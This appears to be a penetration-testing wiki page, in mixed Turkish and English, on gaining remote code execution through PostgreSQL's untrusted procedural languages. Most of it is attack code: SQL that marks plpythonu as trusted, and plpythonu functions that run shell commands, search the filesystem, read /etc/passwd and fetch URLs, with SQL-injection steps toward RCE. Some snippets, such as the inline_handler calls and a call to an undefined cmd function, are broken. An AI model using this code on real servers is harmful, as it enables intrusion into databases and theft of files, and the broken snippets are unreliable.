RCE with PostgreSQL Languages

Erişim sağladığınız PostgreSQL veritabanında, kötü niyetli kodları çalıştırabileceğiniz farklı betik dilleri bulunabilir.

Onları çalıştırabilirsiniz:

\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

PostgreSQL'de yükleyebileceğiniz çoğu betik dili 2 çeşide sahiptir: güvenilir ve güvensiz. Güvensiz olanlar "u" ile biten bir isme sahip olacak ve kodu yürütmenize ve diğer ilginç işlevleri kullanmanıza izin verecek versiyon olacak. İlgili olan diller şunlardır:

  • plpythonu

  • plpython3u

  • plperlu

  • pljavaU

  • plrubyu

  • ... (diğer güvensiz versiyonları kullanan herhangi bir programlama dili)

Eğer PostgreSQL tarafından yüklendiği halde ilginç bir dilin güvenilir olmadığını (lanpltrusted false ise) tespit ederseniz, PostgreSQL tarafından herhangi bir kısıtlama uygulanmayacak şekilde güvenilir hale getirmek için aşağıdaki satırı deneyebilirsiniz:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

Eğer bir dil görmüyorsanız, onu yüklemeyi deneyebilirsiniz (süper yönetici olmanız gerekmektedir):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

PostgreSQL supports the execution of Python code through the plpythonu and plpython3u languages. These languages allow you to execute arbitrary Python code within the database.

To achieve remote code execution (RCE) using plpythonu or plpython3u, you can follow these steps:

  1. Identify a vulnerable SQL injection point in the application.

  2. Use the SQL injection to inject a malicious payload that will execute Python code.

  3. Craft a SQL query that will trigger the execution of the injected payload.

  4. Execute the SQL query to execute the injected Python code and achieve RCE.

Here is an example of injecting and executing Python code using plpythonu:

SELECT plpythonu.inline_handler('import os; os.system("command")');

Replace "command" with the actual command you want to execute on the server.

And here is an example using plpython3u:

SELECT plpython3u.inline_handler('import os; os.system("command")');

Again, replace "command" with the actual command you want to execute.

Keep in mind that the plpythonu and plpython3u languages may not be installed or enabled by default. You may need to install and enable them before being able to use them for RCE.

Remember to always use these techniques responsibly and with proper authorization. Unauthorized access to systems or networks is illegal and unethical.

CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve
CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.getlogin()
$$
LANGUAGE 'plpythonu';

SELECT get_user(""); #Get user, para is useless
CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import json
from os import walk
files = next(walk(dir), (None, None, []))
return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
$$
LANGUAGE 'plpythonu';

SELECT lsdir("/"); #List dir
CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
writables = []
def find_writable(path):
if not os.path.isdir(path):
return
if os.access(path, os.W_OK):
writables.append(path)
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_writable(os.path.join(path, item))
find_writable(path)
return writables

return ", ".join(my_find(dir))
$$
LANGUAGE 'plpythonu';

SELECT findw("/"); #Find Writable folders from a folder (recursively)
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path):
executables.append(path)

if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables

a = my_find("/")
b = []

for i in a:
if exe_sea in os.path.basename(i):
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT find_file("psql"); #Find a file
CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)

if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables

a = my_find(dir)
b = []

for i in a:
b.append(os.path.basename(i))
return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT findx("/"); #Find an executables in folder (recursively)
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)

if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables

a = my_find("/")
b = []

for i in a:
if exe_sea in i:
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT find_exe("psql"); #Find executable by susbstring
CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
AS $$
import base64
encoded_string= base64.b64encode(open(path).read())
return encoded_string.decode('utf-8')
return open(path).read()
$$
LANGUAGE 'plpythonu';

select read('/etc/passwd'); #Read a file in b64
CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
AS $$
import os
status = os.stat(path)
perms = oct(status.st_mode)[-3:]
return str(perms)
$$
LANGUAGE 'plpythonu';

select get_perms("/etc/passwd"); # Get perms of file
CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
AS $$
import urllib
r = urllib.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';

SELECT req2('https://google.com'); #Request using python2

CREATE OR REPLACE FUNCTION req3 (url text)
RETURNS VARCHAR(65535) stable
AS $$
from urllib import request
r = request.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';

SELECT req3('https://google.com'); #Request using python3

pgSQL

Aşağıdaki sayfayı kontrol edin:

pagePL/pgSQL Password Bruteforce

C

Aşağıdaki sayfayı kontrol edin:

pageRCE with PostgreSQL Extensions
AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin htARTE (HackTricks AWS Red Team Expert)!

Last updated